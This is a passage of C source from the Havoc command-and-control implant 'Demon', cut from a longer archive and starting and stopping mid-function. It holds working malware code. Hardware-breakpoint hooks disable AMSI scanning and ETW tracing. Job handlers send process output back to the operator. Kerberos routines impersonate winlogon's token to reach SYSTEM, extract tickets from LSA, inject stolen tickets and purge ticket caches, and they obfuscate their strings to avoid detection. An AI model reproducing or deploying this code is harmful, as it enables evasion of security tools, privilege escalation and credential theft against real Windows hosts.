STATUS_INVALID_PARAMETER; } /* if no engine specified use the global one */ if ( ! HwBpEngine ) { HwBpEngine = Instance->HwBpEngine; } /* create bp entry */ BpEntry = MmHeapAlloc( sizeof( BP_LIST ) ); BpEntry->Tid = Tid; BpEntry->Address = Address; BpEntry->Function = Function; BpEntry->Position = Position; BpEntry->Next = HwBpEngine->Breakpoints; /* set breakpoint */ if ( ! NT_SUCCESS( HwBpEngineSetBp( Tid, Address, Position, TRUE ) ) ) { PUTS( "[HWBP] Failed to set hardware breakpoint" ); goto FAILED; } else { PRINTF( "[HWBP] Added hardware breakpoint: Tid:[%d] Addr:[%p] Pos:[%d]\n", Tid, Address, Position ) } /* append breakpoint */ HwBpEngine->Breakpoints = BpEntry; return STATUS_SUCCESS; FAILED: if ( BpEntry ) { MmHeapFree( BpEntry ); BpEntry = NULL; } return STATUS_UNSUCCESSFUL; } NTSTATUS HwBpEngineRemove( IN PHWBP_ENGINE Engine, IN DWORD Tid, IN PVOID Address ) { PHWBP_ENGINE HwBpEngine = NULL; PBP_LIST BpEntry = NULL; PBP_LIST BpLast = NULL; if ( ! Engine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } if ( ! HwBpEngine ) { HwBpEngine = Instance->HwBpEngine; } /* set linked list */ BpEntry = BpLast = HwBpEngine->Breakpoints; for ( ;; ) { /* check if BpEntry is NULL */ if ( ! BpEntry ) { break; } /* is it the breakpoint we want to remove ? */ if ( BpEntry->Tid == Tid && BpEntry->Address == Address ) { /* unlink from linked list */ BpLast->Next = BpEntry->Next; /* disable hardware breakpoint */ HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE ); /* zero out struct */ MemZero( BpEntry, sizeof( BP_LIST ) ); /* free memory struct */ MmHeapFree( BpEntry ); break; } BpLast = BpEntry; BpEntry = BpEntry->Next; } return STATUS_SUCCESS; } NTSTATUS HwBpEngineDestroy( IN PHWBP_ENGINE Engine ) { PHWBP_ENGINE HwBpEngine = Engine; PBP_LIST BpEntry = NULL; PBP_LIST BpNext = NULL; if ( ! Engine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } if ( ! HwBpEngine ) { HwBpEngine = Instance->HwBpEngine; } /* remove Vector exception handler */ Instance->Win32.RtlRemoveVectoredExceptionHandler( HwBpEngine->Veh ); BpEntry = HwBpEngine->Breakpoints; /* remove all breakpoints and free memory */ do { /* check if BpEntry is NULL */ if ( ! BpEntry ) { break; } /* get next element from linked list */ BpNext = BpEntry->Next; /* disable hardware breakpoinnt */ HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE ); /* zero out struct */ MemZero( BpEntry, sizeof( BP_LIST ) ); /* free memory struct */ MmHeapFree( BpEntry ); BpEntry = BpNext; } while ( TRUE ); /* free global state */ if ( HwBpEngine == Instance->HwBpEngine ) { MmHeapFree( HwBpEngine ); Instance->HwBpEngine = NULL; } HwBpEngine = NULL; return STATUS_SUCCESS; } /*! * Global exception handler * @param Exception * @return */ LONG ExceptionHandler( _Inout_ PEXCEPTION_POINTERS Exception ) { PBP_LIST BpEntry = NULL; BOOL Found = FALSE; if ( Exception->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP ) { PRINTF( "Exception Address: %p\n", Exception->ExceptionRecord->ExceptionAddress ) BpEntry = Instance->HwBpEngine->Breakpoints; /* search in linked list for bp entry */ while ( BpEntry ) { /* check if it's the address we want */ if ( BpEntry->Address == Exception->ExceptionRecord->ExceptionAddress ) { Found = TRUE; /* remove breakpoint so that the handler can call the original function */ HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, FALSE ); /* execute registered exception handler */ ( ( VOID (*)( PEXCEPTION_POINTERS ) ) BpEntry->Function ) ( Exception ); /* restore breakpoint */ HwBpEngineSetBp( BpEntry->Tid, BpEntry->Address, BpEntry->Position, TRUE ); break; } /* Next entry */ BpEntry = BpEntry->Next; } PRINTF( "Found exception handler: %s\n", Found ? "TRUE" : "FALSE" ) if ( Found ) { return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/HwBpExceptions.c000066400000000000000000000014711467014221700247350ustar00rootroot00000000000000#include #include #if _WIN64 VOID HwBpExAmsiScanBuffer( _Inout_ PEXCEPTION_POINTERS Exception ) { PVOID Return = NULL; /* get AmsiResult param */ EXCEPTION_ARG_5( Exception ) = 0; /* set return to S_OK */ EXCEPTION_SET_RET( Exception, 0x80070057 ); /* invalid parameter */ /* just return now */ Return = EXCEPTION_GET_RET( Exception ); EXCEPTION_ADJ_STACK( Exception, sizeof( PVOID ) ); EXCEPTION_SET_RIP( Exception, U_PTR( Return ) ); } VOID HwBpExNtTraceEvent( _Inout_ PEXCEPTION_POINTERS Exception ) { PVOID Return = NULL; /* just return without tracing an event */ Return = EXCEPTION_GET_RET( Exception ); EXCEPTION_ADJ_STACK( Exception, sizeof( PVOID ) ); EXCEPTION_SET_RIP( Exception, U_PTR( Return ) ); } #endif havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Jobs.c000066400000000000000000000312451467014221700227320ustar00rootroot00000000000000#include #include #include #include #include /*! * JobAdd * Adds a job to the job linked list * @param JobID * @param Type type of job: thread or process * @param State current state of the job: suspended or running * @param Data Data pointer to extra data * @return */ VOID JobAdd( UINT32 RequestID, DWORD JobID, SHORT Type, SHORT State, HANDLE Handle, PVOID Data ) { PRINTF( "Add job => JobID:[%d] Type:[%d] State:[%d] Handle:[%d] Data:[%p]\n", JobID, Type, State, Handle, Data ) PJOB_DATA JobList = NULL; PJOB_DATA Job = NULL; Job = Instance->Win32.LocalAlloc( LPTR, sizeof( JOB_DATA ) ); // fill the Job info and insert it into our linked list Job->RequestID = RequestID; Job->JobID = JobID; Job->Type = Type; Job->State = State; Job->Handle = Handle; Job->Data = Data; Job->Next = NULL; if ( Instance->Jobs == NULL ) { Instance->Jobs = Job; return; } JobList = Instance->Jobs; do { if ( JobList ) { if ( JobList->Next != NULL ) JobList = JobList->Next; else { JobList->Next = Job; break; } } else break; } while ( TRUE ); } /*! * Check if all jobs are still running and exists * @return */ VOID JobCheckList() { PJOB_DATA JobList = NULL; JobList = Instance->Jobs; do { if ( ! JobList ) break; switch ( JobList->Type ) { case JOB_TYPE_PROCESS: { if ( JobList->State == JOB_STATE_RUNNING ) { DWORD Return = 0; Instance->Win32.GetExitCodeProcess( JobList->Handle, &Return ); if ( Return != STILL_ACTIVE ) JobList->State = JOB_STATE_DEAD; } break; } case JOB_TYPE_THREAD: { if ( JobList->State == JOB_STATE_RUNNING ) { DWORD Return = 0; Instance->Win32.GetExitCodeThread( JobList->Handle, &Return ); if ( Return != STILL_ACTIVE ) JobList->State = JOB_STATE_DEAD; } break; } case JOB_TYPE_TRACK_PROCESS: { if ( JobList->State == JOB_STATE_RUNNING ) { DWORD Status = 0; Instance->Win32.GetExitCodeProcess( JobList->Handle, &Status ); if ( Status != STILL_ACTIVE ) { PUTS( "Tracking process is dead." ) JobList->State = JOB_STATE_DEAD; AnonPipesRead( ( ( PANONPIPE ) JobList->Data ), JobList->RequestID ); // notify the TS that the process is dead, so that the RequestID can be closed PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_JOB, JobList->RequestID ); PackageAddInt32( Package, DEMON_COMMAND_JOB_DIED ); PackageTransmit( Package ); // free resources SysNtClose( JobList->Handle ); JobList->Handle = NULL; if ( ( ( PANONPIPE ) JobList->Data )->StdOutWrite ) { SysNtClose( ( ( PANONPIPE ) JobList->Data )->StdOutWrite ); (( PANONPIPE ) JobList->Data )->StdOutWrite = NULL; } if ( ( ( PANONPIPE ) JobList->Data )->StdOutRead ) { SysNtClose( ( ( PANONPIPE ) JobList->Data )->StdOutRead ); ( ( PANONPIPE ) JobList->Data )->StdOutRead = NULL; } DATA_FREE( JobList->Data, sizeof( ANONPIPE ) ) JobList->Data = NULL; // remove the job entry JobRemove( JobList->JobID ); } else { // just read what there is available. DWORD Available = 0; PVOID Buffer = NULL; DWORD Size = 0; if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) ) { PRINTF( "PeekNamedPipe: Available anon size %d\n", Available ); if ( Available > 0 ) { Size = Available; Buffer = Instance->Win32.LocalAlloc( LPTR, Size ); if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) ) { PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID ); PackageAddBytes( Package, Buffer, Available ); PackageTransmit( Package ); } DATA_FREE( Buffer, Size ) } } } } break; } } JobList = JobList->Next; } while ( TRUE ); } /*! * JobSuspend * Suspends the specified job * @param JobID * @return */ BOOL JobSuspend( DWORD JobID ) { PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { if ( JobList->JobID == JobID ) { PRINTF( "Found Job ID: %d", JobID ) if ( JobList->Type == JOB_TYPE_THREAD ) { PUTS( "Suspending Thread" ) HANDLE Handle = JobList->Handle; NTSTATUS NtStatus = STATUS_SUCCESS; if ( Handle ) { NtStatus = SysNtSuspendThread( JobList->Handle, NULL ); if ( NT_SUCCESS( NtStatus ) ) { JobList->State = JOB_STATE_SUSPENDED; return TRUE; } else { return FALSE; } } else { PUTS( "Handle is empty" ) return FALSE; } } } JobList = JobList->Next; } return FALSE; } /*! * JobSuspend * Suspends the specified job * @param JobID * @return */ BOOL JobResume( DWORD JobID ) { PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { if ( JobList->JobID == JobID ) { PRINTF( "Found Job ID: %d", JobID ) if ( JobList->Type == JOB_TYPE_THREAD ) { PUTS( "Resume Thread" ) HANDLE Handle = JobList->Handle; NTSTATUS NtStatus = STATUS_SUCCESS; if ( Handle ) { NtStatus = SysNtResumeThread( JobList->Handle, NULL ); if ( NT_SUCCESS( NtStatus ) ) { JobList->State = JOB_STATE_RUNNING; return TRUE; } else return FALSE; } else { PUTS( "Handle is empty" ) return FALSE; } } } JobList = JobList->Next; } return FALSE; } /*! * JobKill * Kills and remove the specified job * @param JobID * @return */ BOOL JobKill( DWORD JobID ) { BOOL Success = FALSE; PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { if ( JobList->JobID == JobID ) { Success = TRUE; PRINTF( "Found Job ID: %d\n", JobID ) switch ( JobList->Type ) { case JOB_TYPE_THREAD: { if ( JobList->State != JOB_STATE_DEAD ) { PUTS( "Kill Thread" ) NTSTATUS NtStatus = STATUS_SUCCESS; if ( JobList->Handle ) { PUTS( "Kill using handle" ) if ( ! NT_SUCCESS( NtStatus = Instance->Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) ) { PRINTF( "TerminateThread NtStatus:[%ul]\n", NtStatus ) NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); PACKAGE_ERROR_WIN32; Success = FALSE; } else { // remove one thread from counter Instance->Threads--; } } else { PUTS( "Handle is empty" ) Success = FALSE; } } break; } case JOB_TYPE_PROCESS: { if ( JobList->State != JOB_STATE_DEAD ) { Instance->Win32.TerminateProcess( JobList->Handle, 0 ); } break; } case JOB_TYPE_TRACK_PROCESS: { if ( JobList->State != JOB_STATE_DEAD ) { Instance->Win32.TerminateProcess( JobList->Handle, 0 ); // just read what there is available. DWORD Available = 0; PVOID Buffer = NULL; if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) ) { PRINTF( "PeekNamedPipe: Available anon size %d\n", Available ); if ( Available > 0 ) { DWORD Size = Available; Buffer = Instance->Win32.LocalAlloc( LPTR, Size ); if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) ) { PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID ); PackageAddBytes( Package, Buffer, Available ); PackageTransmit( Package ); } DATA_FREE( Buffer, Size ) } } } break; } } JobRemove( JobID ); } JobList = JobList->Next; } return Success; } /*! * JobRemove * Remove the specified job * @param ThreadID * @return */ VOID JobRemove( DWORD JobID ) { // Iterate over Job list and replace/remove job PRINTF( "Remove JobID: %d\n", JobID ); PUTS( "Iterate over Job list and replace/remove job" ) PJOB_DATA JobList = NULL; PJOB_DATA JobToRemove = NULL; if ( Instance->Jobs && Instance->Jobs->JobID == JobID ) { JobToRemove = Instance->Jobs; Instance->Jobs = JobToRemove->Next; } else { JobList = Instance->Jobs; while ( JobList ) { if ( JobList->Next && JobList->Next->JobID == JobID ) { JobToRemove = JobList->Next; JobList->Next = JobToRemove->Next; } else { JobList = JobList->Next; } } } if ( ! JobToRemove ) { PRINTF( "JobID %d not found\n", JobID ); return; } if ( JobToRemove->Handle ) SysNtClose( JobToRemove->Handle ); if ( ( JobToRemove->Type == JOB_TYPE_TRACK_PROCESS ) && JobToRemove->Data ) { DATA_FREE( JobToRemove->Data, sizeof( ANONPIPE ) ) } MemSet( JobToRemove, 0, sizeof( JOB_DATA ) ); Instance->Win32.LocalFree( JobToRemove ); JobToRemove = NULL; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Kerberos.c000066400000000000000000000630771467014221700236210ustar00rootroot00000000000000 #include #include #include #include #include BOOL IsHighIntegrity(HANDLE TokenHandle) { BOOL Success = FALSE; BOOL ReturnValue = TRUE; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID AdministratorsGroup = NULL; Success = Instance->Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup ); if ( Success ) { if ( ! Instance->Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) ) { ReturnValue = FALSE; } Instance->Win32.FreeSid( AdministratorsGroup ); AdministratorsGroup = NULL; } return Success && ReturnValue; } DWORD GetProcessIdByName(WCHAR* processName) { HANDLE hProcessSnap = NULL; PROCESSENTRY32W pe32 = { 0 }; DWORD Pid = -1; hProcessSnap = Instance->Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if ( hProcessSnap == INVALID_HANDLE_VALUE ) { return Pid; } pe32.dwSize = sizeof(PROCESSENTRY32W); if ( ! Instance->Win32.Process32FirstW( hProcessSnap, &pe32 ) ) { SysNtClose( hProcessSnap ); return Pid; } do { if ( StringCompareW( pe32.szExeFile, processName ) == 0 ) { Pid = pe32.th32ProcessID; break; } } while (Instance->Win32.Process32NextW(hProcessSnap, &pe32)); SysNtClose( hProcessSnap ); return Pid; } BOOL ElevateToSystem() { NTSTATUS NtStatus = 0; OBJECT_ATTRIBUTES ObjAttr = { sizeof( ObjAttr ) }; WCHAR winlogon[ 13 ] = { 0 }; HANDLE hProcess = NULL; BOOL ReturnValue = FALSE; HANDLE hDupToken = FALSE; HANDLE hToken = FALSE; DWORD ProcessID = 0; winlogon[ 11 ] = HideChar('e'); winlogon[ 4 ] = HideChar('o'); winlogon[ 2 ] = HideChar('n'); winlogon[ 6 ] = HideChar('o'); winlogon[ 7 ] = HideChar('n'); winlogon[ 5 ] = HideChar('g'); winlogon[ 12 ] = HideChar(0); winlogon[ 3 ] = HideChar('l'); winlogon[ 9 ] = HideChar('e'); winlogon[ 8 ] = HideChar('.'); winlogon[ 1 ] = HideChar('i'); winlogon[ 0 ] = HideChar('w'); winlogon[ 10 ] = HideChar('x'); ProcessID = GetProcessIdByName(winlogon); MemZero( winlogon, sizeof( winlogon ) ); if (ProcessID == -1) { PUTS( "Failed to find the PID of Winlogon.exe" ) return FALSE; } hProcess = ProcessOpen( ProcessID, PROCESS_QUERY_LIMITED_INFORMATION ); if ( hProcess ) { if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &hToken ) ) ) { if ( TokenDuplicate( hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, SecurityImpersonation | SecurityIdentification, TokenPrimary, &hDupToken ) ) { if ( SysImpersonateLoggedOnUser( hDupToken ) ) { ReturnValue = TRUE; } SysNtClose( hDupToken ); } else { PRINTF( "TokenDuplicate: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } SysNtClose( hToken ); } else { PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } SysNtClose( hProcess ); } else { PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } return ReturnValue; } BOOL IsSystem( HANDLE TokenHandle ) { HANDLE hToken = NULL; UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES]; PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser; ULONG cbTokenUser; SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY; PSID pSystemSid = NULL; BOOL bSystem = FALSE; if ( ! Instance->Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) ) { return FALSE; } if ( ! Instance->Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) ) return FALSE; bSystem = Instance->Win32.EqualSid( pTokenUser->User.Sid, pSystemSid ); Instance->Win32.FreeSid( pSystemSid ); return bSystem; } NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa ) { HANDLE hLsaLocal = NULL; LSA_OPERATIONAL_MODE mode = 0; NTSTATUS status = STATUS_SUCCESS; if ( ! highIntegrity ) { status = Instance->Win32.LsaConnectUntrusted( &hLsaLocal ); if ( ! NT_SUCCESS( status ) ) { status = Instance->Win32.LsaNtStatusToWinError( status ); } } else { // AuditPol.exe /set /subcategory:"Security System Extension" // /success:enable /failure:enable Event ID 4611 Note: detect elevation via CHAR name[10] = { 0 }; // Winlogon name[ 2 ] = HideChar('n'); name[ 8 ] = HideChar('n'); name[ 4 ] = HideChar('o'); name[ 0 ] = HideChar('W'); name[ 1 ] = HideChar('i'); name[ 7 ] = HideChar('o'); name[ 6 ] = HideChar('g'); name[ 3 ] = HideChar('l'); name[ 9 ] = HideChar('\0'); name[ 5 ] = HideChar('o'); STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name}; status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) || ! hLsaLocal ) { if ( IsSystem( hToken ) ) { status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) ) { status = Instance->Win32.LsaNtStatusToWinError( status ); } } else { if ( ElevateToSystem() ) { status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) ) { status = Instance->Win32.LsaNtStatusToWinError( status ); } TokenRevSelf(); } else { status = NtGetLastError(); } } } MemZero( name, sizeof( name ) ); } *hLsa = hLsaLocal; return status; } NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data ) { PLOGON_SESSION_DATA sessionData = NULL; PSECURITY_LOGON_SESSION_DATA logonData = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) ); if ( ! sessionData ) return status; if ( luid.LowPart != 0 ) { status = Instance->Win32.LsaGetLogonSessionData( &luid, &logonData ); if ( NT_SUCCESS( status ) ) { sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) ); if ( sessionData->sessionData != NULL ) { sessionData->sessionCount = 1; sessionData->sessionData[0] = logonData; *data = sessionData; } else { status = STATUS_MEMORY_NOT_ALLOCATED; } } } else { ULONG logonSessionCount; PLUID logonSessionList; status = Instance->Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList ); if ( NT_SUCCESS( status ) ) { sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) ); if ( sessionData->sessionData != NULL ) { sessionData->sessionCount = logonSessionCount; for ( int i = 0; i < logonSessionCount; i++ ) { LUID luid2 = logonSessionList[i]; status = Instance->Win32.LsaGetLogonSessionData( &luid2, &logonData ); if ( NT_SUCCESS(status) ) { sessionData->sessionData[i] = logonData; } else { sessionData->sessionData[i] = NULL; } } Instance->Win32.LsaFreeReturnBuffer( logonSessionList ); *data = sessionData; } else { status = STATUS_MEMORY_NOT_ALLOCATED; } } } return status; } VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket, PUINT32 ticketSize ) { PKERB_RETRIEVE_TKT_REQUEST retrieveRequest = NULL; PKERB_RETRIEVE_TKT_RESPONSE retrieveResponse = NULL; ULONG responseSize = sizeof( KERB_RETRIEVE_TKT_REQUEST ) + targetName.MaximumLength; NTSTATUS status = STATUS_UNSUCCESSFUL; NTSTATUS protocolStatus = STATUS_UNSUCCESSFUL; ULONG TicketSize = 0; PBYTE Ticket = NULL; retrieveRequest = Instance->Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) ); if ( ! retrieveRequest ) return; //retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; retrieveRequest->MessageType = 8; retrieveRequest->LogonId = luid; retrieveRequest->TicketFlags = 0; retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; retrieveRequest->EncryptionType = 0; retrieveRequest->TargetName = targetName; retrieveRequest->TargetName.Buffer = ( PWSTR )( (PBYTE )retrieveRequest + sizeof( KERB_RETRIEVE_TKT_REQUEST )); MemCopy( retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength ); status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus ); if ( NT_SUCCESS( status ) && NT_SUCCESS( protocolStatus ) ) { if ( NT_SUCCESS( protocolStatus ) ) { TicketSize = retrieveResponse->Ticket.EncodedTicketSize; Ticket = Instance->Win32.LocalAlloc( LPTR, TicketSize ); if ( Ticket ) { MemCopy( Ticket, retrieveResponse->Ticket.EncodedTicket, TicketSize ); *ticket = Ticket; *ticketSize = TicketSize; } } else { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", protocolStatus ) } } else { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", status ) } if ( retrieveResponse ) Instance->Win32.LsaFreeReturnBuffer( retrieveResponse ); if ( retrieveRequest ) Instance->Win32.LocalFree( retrieveRequest ); } VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA Data ) { // UserName MemCopy( Session->UserName, Data->UserName.Buffer, Data->UserName.Length ); // Domain MemCopy( Session->Domain, Data->LogonDomain.Buffer, Data->LogonDomain.Length ); // LogonId Session->LogonId.LowPart = Data->LogonId.LowPart; Session->LogonId.HighPart = Data->LogonId.HighPart; // Session Session->Session = Data->Session; // UserSID WCHAR* sid = NULL; if ( Instance->Win32.ConvertSidToStringSidW(Data->Sid, &sid) ) { StringCopyW( Session->UserSID, sid ); Instance->Win32.LocalFree( sid ); sid = NULL; } // LogonTime Session->LogonTime.QuadPart = Data->LogonTime.QuadPart; // LogonType Session->LogonType = Data->LogonType; // AuthenticationPackage MemCopy( Session->AuthenticationPackage, Data->AuthenticationPackage.Buffer, Data->AuthenticationPackage.Length ); // LogonServer MemCopy( Session->LogonServer, Data->LogonServer.Buffer, Data->LogonServer.Length ); // LogonServerDNSDomain MemCopy( Session->LogonServerDNSDomain, Data->DnsDomainName.Buffer, Data->DnsDomainName.Length ); // Upn MemCopy( Session->Upn, Data->Upn.Buffer, Data->Upn.Length ); // Tickets Session->Tickets = NULL; } VOID CopyTicketInfo( PTICKET_INFORMATION TicketInfo, PKERB_TICKET_CACHE_INFO_EX Data ) { // ClientName MemCopy( TicketInfo->ClientName, Data->ClientName.Buffer, Data->ClientName.Length ); // ClientRealm MemCopy( TicketInfo->ClientRealm, Data->ClientRealm.Buffer, Data->ClientRealm.Length ); // ServerName MemCopy( TicketInfo->ServerName, Data->ServerName.Buffer, Data->ServerName.Length ); // ServerRealm MemCopy( TicketInfo->ServerRealm, Data->ServerRealm.Buffer, Data->ServerRealm.Length ); // StartTime TicketInfo->StartTime.LowPart = Data->StartTime.LowPart; TicketInfo->StartTime.HighPart = Data->StartTime.HighPart; // EndTime TicketInfo->EndTime.LowPart = Data->EndTime.LowPart; TicketInfo->EndTime.HighPart = Data->EndTime.HighPart; // RenewTime TicketInfo->RenewTime.LowPart = Data->RenewTime.LowPart; TicketInfo->RenewTime.HighPart = Data->RenewTime.HighPart; // EncryptionType TicketInfo->EncryptionType = Data->EncryptionType; // TicketFlags TicketInfo->TicketFlags = Data->TicketFlags; // Ticket TicketInfo->Ticket.Buffer = NULL; TicketInfo->Ticket.Length = 0; } BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid ) { BOOL ReturnValue = FALSE; BOOL highIntegrity = FALSE; HANDLE hLsa = NULL; LSA_STRING krbAuth = {.Buffer = NULL, .Length = 8, .MaximumLength = 9}; NTSTATUS status = STATUS_UNSUCCESSFUL; NTSTATUS protocolStatus = STATUS_UNSUCCESSFUL; ULONG authPackage = 0; PKERB_SUBMIT_TKT_REQUEST submitRequest = NULL; DWORD submitSize = sizeof( KERB_SUBMIT_TKT_REQUEST ) + TicketSize; PVOID response = NULL; ULONG responseSize = 0; CHAR name[9] = { 0 }; name[ 5 ] = HideChar('r'); name[ 0 ] = HideChar('k'); name[ 8 ] = HideChar( 0); name[ 1 ] = HideChar('e'); name[ 2 ] = HideChar('r'); name[ 7 ] = HideChar('s'); name[ 3 ] = HideChar('b'); name[ 6 ] = HideChar('o'); name[ 4 ] = HideChar('e'); krbAuth.Buffer = name; if ( ! hToken ) goto END; highIntegrity = IsHighIntegrity( hToken ); if ( ! highIntegrity ) { PUTS( "[!] Not in high integrity." ); goto END; } status = GetLsaHandle( hToken, highIntegrity, &hLsa ); if ( ! NT_SUCCESS( status ) || ! hLsa ) { PRINTF( "[!] GetLsaHandle %ld\n", status ); goto END; } status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status ); goto END; } submitRequest = Instance->Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) ); if ( ! submitRequest ) goto END; submitRequest->MessageType = _KerbSubmitTicketMessage; submitRequest->KerbCredSize = TicketSize; submitRequest->KerbCredOffset = sizeof( KERB_SUBMIT_TKT_REQUEST ); if ( highIntegrity ) { submitRequest->LogonId = luid; } MemCopy( RVA( PBYTE, submitRequest, submitRequest->KerbCredOffset ), Ticket, TicketSize ); status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", status ) goto END; } if ( ! NT_SUCCESS( protocolStatus ) ) { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", protocolStatus ) goto END; } ReturnValue = TRUE; END: if ( submitRequest ) { Instance->Win32.LocalFree( submitRequest ); } if ( hLsa ) { Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); return ReturnValue; } BOOL Purge( HANDLE hToken, LUID luid ) { BOOL ReturnValue = FALSE; BOOL highIntegrity = FALSE; HANDLE hLsa = NULL; LSA_STRING krbAuth = {.Buffer = NULL, .Length = 8, .MaximumLength = 9}; NTSTATUS status = STATUS_UNSUCCESSFUL; NTSTATUS protocolStatus = STATUS_UNSUCCESSFUL; KERB_PURGE_TKT_CACHE_REQUEST purgeRequest = { 0 }; ULONG authPackage = 0; PVOID purgeResponse = NULL; ULONG responseSize = 0; CHAR name[9] = { 0 }; name[ 5 ] = HideChar('r'); name[ 0 ] = HideChar('k'); name[ 8 ] = HideChar( 0); name[ 1 ] = HideChar('e'); name[ 2 ] = HideChar('r'); name[ 7 ] = HideChar('s'); name[ 3 ] = HideChar('b'); name[ 6 ] = HideChar('o'); name[ 4 ] = HideChar('e'); krbAuth.Buffer = name; if ( ! hToken ) goto END; highIntegrity = IsHighIntegrity( hToken ); if ( ! highIntegrity ) { PUTS( "[!] Not in high integrity." ); goto END; } status = GetLsaHandle( hToken, highIntegrity, &hLsa ); if ( ! NT_SUCCESS( status ) || ! hLsa ) { PRINTF( "[!] GetLsaHandle %ld\n", status ); goto END; } status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status ); goto END; } //purgeRequest.MessageType = KerbPurgeTicketCacheMessage; purgeRequest.MessageType = 6; if ( highIntegrity ) purgeRequest.LogonId = luid; else purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0}; purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength 